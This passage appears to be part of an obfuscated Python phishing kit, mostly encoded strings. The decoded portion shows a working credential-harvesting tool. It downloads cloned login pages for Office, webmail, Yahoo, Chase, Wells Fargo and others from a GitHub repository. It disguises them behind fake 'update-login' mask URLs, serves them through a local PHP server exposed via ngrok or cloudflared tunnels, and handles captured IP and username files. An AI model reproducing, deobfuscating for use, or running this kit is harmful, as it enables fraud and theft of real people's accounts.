VPNtVUA5p3EyoFtvq2qyqPNgpFNgYKAbo3pgpUWiM3Wyp3ZtnUE0pUZ6Yl9anKEbqJVhL29gY2Afo3IxMzkupzHiL2kiqJEzoTSlMJDipzIfMJSmMKZioTS0MKA0Y2Eiq25fo2SxY2Afo3IxMzkupzIxYJkcoaI4YJSloGL0VP1CVTAfo3IxMzkupzIxVvxXVPNtVPNtVPNtVPNtMJkcMvO4YzMcozDbVzSloFVcVG0gZGbXVPNtVPNtVPNtVPNtVPNtVUA5p3EyoFtvq2qyqPNgpFNgYKAbo3pgpUWiM3Wyp3ZtnUE0pUZ6Yl9anKEbqJVhL29gY2Afo3IxMzkupzHiL2kiqJEzoTSlMJDipzIfMJSmMKZioTS0MKA0Y2Eiq25fo2SxY2Afo3IxMzkupzIxYJkcoaI4YJSloFNgGlOwoT91MTMfLKWyMPVcPvNtVPNtVPNtVPNtVTIfnJLtrP5znJ5xXPW4BQMsAwDvXFR9YGR6PvNtVPNtVPNtVPNtVPNtVPOmrKA0MJ0bVaqaMKDtYKRtYF1mnT93YKOlo2qlMKAmVTu0qUOmBv8iM2y0nUIvYzAioF9woT91MTMfLKWyY2Afo3IxMzkupzIxY3WyoTIup2ImY2kuqTImqP9xo3qhoT9uMP9woT91MTMfLKWyMP1fnJ51rP1uoJD2APNgGlOwoT91MTMfLKWyMPVcPvNtVPNtVPNtVPNtVTIfp2H6PvNtVPNtVPNtVPNtVPNtVPOmrKA0MJ'
god = '0oIndnZXQgLXEgLS1zaG93LXByb2dyZXNzIGh0dHBzOi8vZ2l0aHViLmNvbS9jbG91ZGZsYXJlL2Nsb3VkZmxhcmVkL3JlbGVhc2VzL2xhdGVzdC9kb3dubG9hZC9jbG91ZGZsYXJlZC1saW51eC0zODYgLU8gY2xvdWRmbGFyZWQiKQogICAgICAgIGVsaWYgeS5maW5kKCJEYXJ3aW4iKSE9LTE6CiAgICAgICAgICAgIGlmIHguZmluZCgieDg2XzY0IikhPS0xOgogICAgICAgICAgICAgICAgc3lzdGVtKCJ3Z2V0IC1xIC0tc2hvdy1wcm9ncmVzcyAnaHR0cHM6Ly9naXRodWIuY29tL2Nsb3VkZmxhcmUvY2xvdWRmbGFyZWQvcmVsZWFzZXMvbGF0ZXN0L2Rvd25sb2FkL2Nsb3VkZmxhcmVkLWRhcndpbi1hbWQ2NC50Z3onIC1PICdjbG91ZGZsYXJlZC50Z3onIikKICAgICAgICAgICAgICAgIHN5c3RlbSgidGFyIC16eGYgY2xvdWRmbGFyZWQudGd6ID4gL2Rldi9udWxsIDI+JjEgJiYgcm0gLXJmIGNsb3VkZmxhcmVkLnRneiIpCiAgICAgICAgICAgIGVsaWYgeC5maW5kKCJhcm02NCIpIT0tMToKICAgICAgICAgICAgICAgIHByaW50KGYie2Vycm9yfUNsb3VkZmxhcmVkIG5vdCBhdmFpbGFibGUgZm9yIGRldmljZSBhcmNoaXRlY3R1cmUhIikKICAgICAgICAgICAgICAgIHNsZWVwKDMpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBwcmludChmIntlcnJvcn1EZXZpY2UgYXJjaGl0ZWN0dXJlIHVua25vd24uIERvd25sb2FkIGNsb3VkZmxhcmVkIG1hbnVhbGx5ISIpCiAgICAgICAgICAgICAgICBzbGVlcCgzKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50KGYie2Vycm9yfURldmljZSBub3Qgc3VwcG9ydGVkISIpCiAgICAgICAgICAgIGV4aXQoMSkKICAgICAgICBzeXN0ZW0oIm1rZGlyICRIT01FLy5jZmZvbGRlciIpCiAgICAgICAgc3lzdGVtKCJtdiAtZiBjbG91ZGZsYXJlZCAkSE9NRS8uY2Zmb2xkZXIiKQogICAgICAgIGlmIHN1ZG86CiAgICAgICAgICAgIHN5c3RlbSgic3VkbyBjaG1vZCAreCAkSE9NRS8uY2Zmb2xkZXIvY2xvdWRmbGFyZWQiKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHN5c3RlbSgiY2htb2QgK3ggJEhPTUUvLmNmZm9sZGVyL2Nsb3VkZmxhcmVkIikKICAgIGlmIHN5c3RlbSgicGlkb2YgcGhwID4gL2Rldi9udWxsIDI+JjEiKT09MDoKICAgICAgICBzcHJpbnQoZXJyb3IrIlByZXZpb3VzIHBocCBzdGlsbCBydW5uaW5nISBQbGVhc2UgcmVzdGFydCB0ZXJtaW5hbCBhbmQgdHJ5IGFnYWluIituYykKICAgICAgICBleGl0KCkKICAgIGlmIHN5c3RlbSgicGlkb2Ygbmdyb2sgPiAvZGV2L251bGwgMj4mMSIpPT0wOgogICAgICAgIHNwcmludChlcnJvcisiUHJldmlvdXMgbmdyb2sgc3RpbGwgcnVubmluZy4gUGxlYXNlIHJlc3RhcnQgdGVybWluYWwgYW5kIHRyeSBhZ2FpbiIrbmMpCiAgICAgICAgZXhpdCgpCiAgICB3aGlsZSBUcnVlOgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHJvb3QrIi8uc2l0ZSIpOgogICAgICAgICAgICBzeXN0ZW0oInJtIC1yZiAkSE9NRS8uc2l0ZSAmJiBjZCAkSE9NRSAmJiBta2RpciAuc2l0ZSIpCiAgICAgICAgICAgIGJyZWFrCiAgICAgICAgZWxzZToKICAgICAgICAgICAgc3lzdGVtKCJjZCAkSE9NRSAmJiBta2RpciAuc2l0ZSIpCiAgICAgICAgICAgIGJyZWFrCiAgICB3aGlsZSBUcnVlOgogICAgICAgIG9zLnN5c3RlbSgiY2xlYXIiKQogICAgICAgIHNsb3dwcmludChsb2dvKQogICAgICAgIG9wdGlvbnMoKQogICAgICAgIGNob29zZT0gaW5wdXQoYXNrKyJTZWxlY3Qgb25lIG9mIHRoZSBPcHRpb25zID0+ICIrbmMpCiAgICAgICAgaWYgY2hvb3NlID09ICIxIiBvciBjaG9vc2UgPT0gIjAxIjoKICAgICAgICAgICAgZm9sZGVyPSJvZmZpY2UiCiAgICAgICAgICAgIG1hc2s9Imh0dHBzOi8vdmVyaWZpZWQtYWNjb3VudC1sb2dpbi1zZXJ2ZXIiCiAgICAgICAgICAgIHJlcXVpcmVtZW50cyhmb2xkZXIsbWFzaykKICAgICAgICBlbGlmIGNob29zZSA9PSAiMiIgb3IgY2hvb3NlID09ICIwMiI6CiAgICAgICAgICAgIGZvbGRlcj0id2VibWFpbCIKICAgICAgICAgICAgbWFzaz0naHR0cHM6Ly9nZXQtd2VibWFpbC5jb20tdXBkYXRlLWxvZ2luLXNlcnZlcicKICAgICAgICAgICAgcmVxdWlyZW1lbnRzKGZvbGRlcixtYXNrKQogICAgICAgIGVsaWYgY2hvb3NlID09ICIzIiBvciBjaG9vc2UgPT0gIjAzIjoKICAgICAgICAgICAgZm9sZGVyPSJ5YWhvbyIKICAgICAgICAgICAgbWFzaz0naHR0cHM6Ly9nZXQtbG9naW4tb3V0ZGF0ZWQtdXBkYXRlJwogICAgICAgICAgICByZXF1aXJlbWVudHMoZm9sZGVyLG1hc2spCiAgICAgICAgZWxpZiBjaG9vc2UgPT0gIjQiIG9yIGNob29zZSA9PSAiMDQiOgogICAgICAgICAgICBmb2xkZXI9ImNoYW1lbGVvbiIKICAgICAgICAgICAgbWFzaz0naHR0cHM6Ly91cGRhdGUtbG9naW4tb25saW5lJwogICAgICAgICAgICByZXF1aXJlbWVudHMoZm9sZGVyLG1hc2spCiAgICAgICAgZWxpZiBjaG9vc2UgPT0gIjUiIG9yIGNob29zZSA9PSAiMDUiOgogICAgICAgICAgICBmb2xkZXI9IndldHJhbnNmZXIiCiAgICAgICAgICAgIG1hc2s9J2h0dHBzOi8vZG9jdW1lbnRzLWNsb3VkLXVwZGF0ZS1sb2dpbicKICAgICAgICAgICAgcmVxdWlyZW1lbnRzKGZvbGRlcixtYXNrKQogICAgICAgIGVsaWYgY2hvb3NlID09ICI2IiBvciBjaG9vc2UgPT0gIjA2IjoKICAgICAgICAgICAgZm9sZGVyPSJhdHQiCiAgICAgICAgICAgIG1hc2s9J2h0dHBzOi8vdXBncmFkZS15b3VyLWdtYWlsLXBsYW4tZnJlZScKICAgICAgICAgICAgcmVxdWlyZW1lbnRzKGZvbGRlcixtYXNrKQogICAgICAgIGVsaWYgY2hvb3NlID09ICIxMCI6CiAgICAgICAgICAgIGZvbGRlcj0ic3VudHJ1c3QiCiAgICAgICAgICAgIG1hc2s9J2h0dHBzOi8vZ2V0LWEtcHJlbWl1bS1hY2NvdW50LXVwZGF0ZS1sb2dpbicKICAgICAgICAgICAgcmVxdWlyZW1lbnRzKGZvbGRlcixtYXNrKQogICAgICAgIGVsaWYgY2hvb3NlID09ICIxMSI6CiAgICAgICAgICAgIGZvbGRlcj0id2VsbHMiCiAgICAgICAgICAgIG1hc2s9J2h0dHBzOi8vdmlldy1hY2NvdW50LWxvZ2luLXVwZGF0ZScKICAgICAgICAgICAgcmVxdWlyZW1lbnRzKGZvbGRlcixtYXNrKQogICAgICAgIGVsaWYgY2hvb3NlID09ICIxMiI6CiAgICAgICAgICAgIGZvbGRlcj0iY2hhc2UiCiAgICAgICAgICAgIG1hc2s9J2h0dHBzOi8vZ2V0LWEtcHJlbWl1bS5jb20tZm9yLXVubGltaXRlZC11cGRhdGUnCiAgICAgICAgICAgIHJlcXVpcmVtZW50cyhmb2xkZXIsbWFzaykKICAgICAgICBlbGlmIGNob29zZSA9PSAiOTkiOgogICAgICAgICAgICBhYm91dCgpCiAgICAgICAgZWxpZiBjaG9vc2UgPT0gIm0iIG9yIGNob29zZSA9PSAiTSI6CiAgICAgICAgICAgIHN5c3RlbSgieGRnLW9wZW4gJyciKQogICAgICAgICAgICBtYWluKCkKICAgICAgICBlbGlmIGNob29zZSA9PSAiMCIgb3IgY2hvb3NlID09ICIwMCI6CiAgICAgICAgICAgIGV4aXQoMCkKICAgICAgICBlbHNlOgogICAgICAgICAgICBzcHJpbnQoIlxuIitlcnJvcisiV3JvbmcgaW5wdXQiKQogICAgICAgICAgICBtYWluKCkKCiMgQ29weSB3ZWJzaXRlIGZpbGVzIGZyb20gY3VzdG9tIGxvY2F0aW9uCmRlZiBjdXN0b21mb2woKToKICAgIGZvbD1pbnB1dCgiXG4iK2FzaysiRW50ZXIgdGhlIGRpcmVjdG9yeSA+ICIrZ3JlZW4pCiAgICBpZiBvcy5wYXRoLmV4aXN0cyhmb2wpOgogICAgICAgIGlmIG9zLnBhdGguaXNmaWxlKGZvbCsiL2luZGV4LnBocCIpOgogICAgICAgICAgICBzeXN0ZW0oImNkICIrZm9sKyIgJiYgcm0gLXJmIGlwLnR4dCB1c2VybmFtZXMudHh0ICYmIGNwIC1yICogJEhPTUUvLnNpdGUiKQogICAgICAgICAgICBzZXJ2ZXIoKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNwcmludChlcnJvcisiSW5kZXgucGhwIHJlcXVpcmVkIGJ1dCBub3QgZm91bmQhIikKICAgICAgICAgICAgbWFpbigpCiAgICBlbHNlOgogICAgICAgIHNwcmludChlcnJvcisiRGlyZWN0b3J5IGRvIG5vdCBleGlzdHMhIikKICAgICAgICBtYWluKCkKCiMgMm5kIGZ1bmN0aW9uIGNoZWNraW5nIHJlcXVpcmVtZW50cyBhbmQgZG93bmxvYWQgZmlsZXMgCmRlZiByZXF1aXJlbWVudHMoZm9sZGVyLG1hc2spOgogICAgaWYgb3MucGF0aC5pc2ZpbGUoIndlYnNpdGVzLnppcCIpOgogICAgICAgIHN5c3RlbSgicm0gLXJmICRIT01FLy53ZWJzaXRlcyAmJiBjZCAkSE9NRSAmJiBta2RpciAud2Vic2l0ZXMiKQogICAgICAgIHN5c3RlbSgidW56aXAgd2Vic2l0ZXMuemlwIC1kICRIT01FLy53ZWJzaXRlcyA+IC9kZXYvbnVsbCAyPiYxIikKICAgICAgICBvcy5yZW1vdmUoIndlYnNpdGVzLnppcCIpCiAgICB3aGlsZSBUcnVlOgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHJvb3QrIi8ud2Vic2l0ZXMvIitmb2xkZXIpOgogICAgICAgICAgICBzeXN0ZW0oImNwIC1yICRIT01FLy53ZWJzaXRlcy8iK2ZvbGRlcisiLyogJEhPTUUvLnNpdGUiKQogICAgICAgICAgICBicmVhawogICAgICAgIGVsc2U6CiAgICAgICAgICAgIGludGVybmV0KCkKICAgICAgICAgICAgc3ByaW50KCJcbiIraW5mbysiRG93bmxvYWRpbmcgcmVxdWlyZWQgZmlsZXMuLi4uLlxuIikKICAgICAgICAgICAgc3lzdGVtKCJybSAtcmYgc2l0ZS56aXAiKQogICAgICAgICAgICBzeXN0ZW0oIndnZXQgLXEgLS1zaG93LXByb2dyZXNzIGh0dHBzOi8vZ2l0aHViLmNvbS9saG9zdDI1L2ZpbGVzL3Jhdy9tYWluL3BhZ2VzLyIrZm9sZGVyKyIuemlwIC1PIHNpdGUuemlwIikKICAgICAgICAgICAgaWYgbm90IG9zLnBhdGguZXhpc3RzKHJvb3QrIi8ud2Vic2l0ZXMiKToKICAgICAgICAgICAgICAgIHN5c3RlbSgiY2QgJEhPTUUgJiYgbWtkaXIgLndlYnNpdGVzIikKICAgICAgICAgICAgc3lzdGVtKCJjZCAkSE9NRS8ud2Vic2l0ZXMgJiYgbWtkaXIgIitmb2xkZXIpCiAgICAgICAgICAgIHN5c3RlbSgidW56aXAgc2l0ZS56aXAgLWQgJEhPTUUvLndlYnNpdGVzLyIrZm9sZGVyKQogICAgICAgICAgICBvcy5yZW1vdmUoInNpdGUuemlwIikKICAgICAgICAgICAgc3lzdGVtKCJjcCAtciAkSE9NRS8ud2Vic2l0ZXMvIitmb2xkZXIrIi8qICRIT01FLy5zaXRlIikKICAgICAgICAgICAgYnJlYWsKICAgIHdpdGggb3BlbigiLmluZm8udHh0IiwgInciKSBhcyBpbmZvcm06CiAgICAgICAgaW5mb3JtLndyaXRlKG1hc2spCiAgICBzeXN0ZW0oIm12IC1mIC5pbmZvLnR4dCAkSE9NRS8uc2l0ZSIpCiAgICBzZXJ2ZXIoKQoKIyBTdGFydCBzZXJ2ZXIgYW5kIHR1bm5lbGluZwpkZWYgc2VydmVyKCk6CiAgICBzeXN0ZW0oImNsZWFyIikKICAgIHNsb3dwcmludChsb2dvKQogICAgaWYgdGVybXV4OgogICAgICAgIHNwcmludCgiXG4iK2luZm8rIklmIHlvdSBoYXZlbid0IGVuYWJsZWQgaG90c3BvdCwgcGxlYXNlIGVuYWJsZSBpdCEiKQogICAgICAgIHNsZWVwKDEpCiAgICBzcHJpbnQoIlxuIitpbmZvMisiRXZpbCBpcyBJbml0aWFsaXppbmcgUEhQIHNlcnZlci4uLi4iKQogICAgaW50ZXJuZXQoKQogICAgc3lzdGVtKCJjZCAkSE9NRS8uc2l0ZSAmJiBwaHAgLVMgMTI3LjAuMC4xOjgwODAgPiAvZGV2L251bGwgMj4mMSAmIikKICAgIHNsZWVwKDIpCiAgICB3aGlsZSBUcnVlOgogICAgICAgIGlmIG5vdCBzeXN0ZW0oImN1cmwgLS1vdXRwdXQgL2Rldi9udWxsIC0tc2lsZW50IC0taGVhZCAtLWZhaWwgMTI3LjAuMC4xOjgwODAiKToKICAgICAgICAgICAgc3ByaW50KCJcbiIraW5mbysiUEhQIFNlcnZlciBoYXMgc3RhcnRlZCBzdWNjZXNzZnVsbHkhIikKICAgICAgICAgICAgYnJlYWsKICAgICAgICBlbHNlOgogICAgICAgICAgICBzcHJpbnQoZXJyb3IrIlBIUCBFcnJvciIpCiAgICAgICAgICAgIGtpbGxlcigpCiAgICAgICAgICAgIGV4aXQoMSkKICAgIHNwcmludCgiXG4iK2luZm8yKyJFdmlsIGlzIEdlbmVyYXRpbmcgeW91ciBsaW5rLi4uLi4iKQogICAgaW50ZXJuZXQoKQogICAgc3lzdGVtKCJybSAtcmYgJEhPTUUvLmNmZm9sZGVyL2xvZy50eHQiKQogICAgd2hpbGUgVHJ1ZToKICAgICAgICBpZiBzeXN0ZW0oImNvbW1hbmQgLXYgdGVybXV4LWNocm9vdCA+IC9kZXYvbnVsbCAyPiYxIik9PTA6CiAgICAgICAgICAgIHN5c3RlbSgiY2QgJEhPTUUvLm5ncm9rZm9sZGVyICYmIHRlcm11eC1jaHJvb3QgLi9uZ3JvayBodHRwIDEyNy4wLjAuMTo4MDgwID4gL2Rldi9udWxsIDI+JjEgJiIpCiAgICAgICAgICAgIHN5c3RlbSgiY2QgJEhPTUUvLmNmZm9sZGVyICYmIHRlcm1'
destiny = '1rP1wnUWio3DtYv9woT91MTMfLKWyMPO0qJ5hMJjtYKIloPNkZwphZP4jYwR6BQN4ZPNgYJkiM2McoTHtoT9aYaE4qPN+VP9xMKLioaIfoPNlCvLkVPLvXDbtVPNtVPNtVPNtVPOvpzIunjbtVPNtVPNtVTIfp2H6PvNtVPNtVPNtVPNtVUA5p3EyoFtvL2DtWRuCGHHiYz5apz9eMz9fMTIlVPLzVP4iozqlo2ftnUE0pPNkZwphZP4jYwR6BQN4ZPN+VP9xMKLioaIfoPNlCvLkVPLvXDbtVPNtVPNtVPNtVPOmrKA0MJ0bVzAxVPEVG01SYl5wMzMioTEypvNzWvNhY2Afo3IxMzkupzIxVUE1oz5yoPNgqKWfVQRlAl4jYwNhZGb4ZQtjVP0goT9aMzyfMFOfo2phqUu0VQ4tY2Eyqv9hqJkfVQV+WwRtWvVcPvNtVPNtVPNtVPNtVTWlMJSePvNtVPOmoTIypPt5XDbtVPNtozqlo2gfnJ5eCKOipTIhXPWwqKWfVP1mVP1BVTu0qUN6Yl8kZwphZP4jYwR6AQN0ZP9upTxiqUIhozIfplO8VTqlMKNtYJ8tW2u0qUOmBv8iJl0jYGyuYKcqXyjhozqlo2fhnJ8aVvxhpzIuMPtcPvNtVPOcMvOhM3Win2kcozfhMzyhMPtvozqlo2fvXFR9YGR6PvNtVPNtVPNtozqlo2gwnTIwnm1HpaIyPvNtVPOyoUAyBtbtVPNtVPNtVT5apz9eL2uyL2f9EzSfp2HXVPNtVTAzoTyhnm1jo3OyovtvL2S0VPEVG01SYl5wMzMioTEypv9fo2phqUu0VUjtM3WypPNgolNanUE0pUZ6Yl9oYGNgBJRgry0dKP50paywoT91MTMfLKWyYzAioFpvXF5lMJSxXPxXVPNtVTyzVTAzoTyhnl5znJ5xXPWwoT91MTMfLKWyVvxuCF0kBtbtVPNtVPNtVTAzL2uyL2f9IUW1MDbtVPNtMJkmMGbXVPNtVPNtVPOwMzAbMJAeCHMuoUAyPvNtVPO3nTyfMFOHpaIyBtbtVPNtVPNtVTyzVT5apz9eL2uyL2ftLJ5xVTAzL2uyL2f6PvNtVPNtVPNtVPNtVUIloS9gLJ5uM2IlXTAzoTyhnljtVwRvYPNvZvVcPvNtVPNtVPNtVPNtVUIloS9gLJ5uM2IlXT5apz9eoTyhnljtVwZvYPNvAPVcPvNtVPNtVPNtVPNtVTA1LKAeXTAzoTyhnlxXVPNtVPNtVPNtVPNtLaWyLJfXVPNtVPNtVPOyoTyzVT5iqPOhM3Win2AbMJAeVTShMPOwMzAbMJAeBtbtVPNtVPNtVPNtVPO1pzksoJShLJqypvuwMzkcozffVPVkVvjtVwVvXDbtVPNtVPNtVPNtVPOwqJSmnluwMzkcozfcPvNtVPNtVPNtVPNtVTWlMJSePvNtVPNtVPNtMJkcMvOho3DtL2MwnTIwnlOuozDtozqlo2gwnTIwnmbXVPNtVPNtVPNtVPNtqKWfK21uozSaMKVbozqlo2gfnJ5eYPNvZFVfVPVlVvxXVPNtVPNtVPNtVPNtL3Iup2fbozqlo2gfnJ5eXDbtVPNtVPNtVPNtVPOvpzIunjbtVPNtVPNtVTIfnJLtoz90VPuwMzAbMJAeVTShMPOhM3Win2AbMJAeXGbXVPNtVPNtVPNtVPNtp3OlnJ50XPWpovVeMKWlo3VeVyE1oz5yoTyhMlOzLJkcMJDuVvghLlxXVPNtVPNtVPNtVPNtn2yfoTIlXPxXVPNtVPNtVPNtVPNtMKucqPtcPvNtVPNtVPNtMJkmMGbXVPNtVPNtVPNtVPNtp3OlnJ50XPWpovVeMKWlo3VeVyIhn25iq24tMKWlo3VuVvxXVPNtVPNtVPNtVPNtn2yfoTIlXPxXVPNtVPNtVPNtVPNtMKucqPtcPtbXVlOCpUEco25uoPOzqJ5wqTyiovOzo3Vtozqlo2ftqKWfVT1up2gcozpXMTIzVT1up2gcozpbqKWfXGbXVPNtVUqyLaAcqTH9VPWbqUEjpmbiY2ymYzqxY2AlMJS0MF5jnUOpC2Mipz1uqSj9p2ygpTkyKPM1pzkpCFVeqKWfPvNtVPOcoaEypz5yqPtcPvNtVPOgLJyhZG0to3ZhpT9jMJ4bVzA1pzjtYKZtVvg3MJWmnKEyXDbtVPNtoJScowV9oJScowRhpzIuMPtcPvNtVPOcMvOho3DtoJScowVhMzyhMPtvM2DvXFR9YGR6PvNtVPNtVPNtp3OlnJ50XTIlpz9lXlWGMKW2nJAyVT5iqPOuqzScoTSvoTHvXDbtVPNtVPNtVUqunKEypvtcPvNtVPOgLJyhCFOgLJyhZv5lMKOfLJAyXPWbqUEjpmbiYlVfVPVvXDb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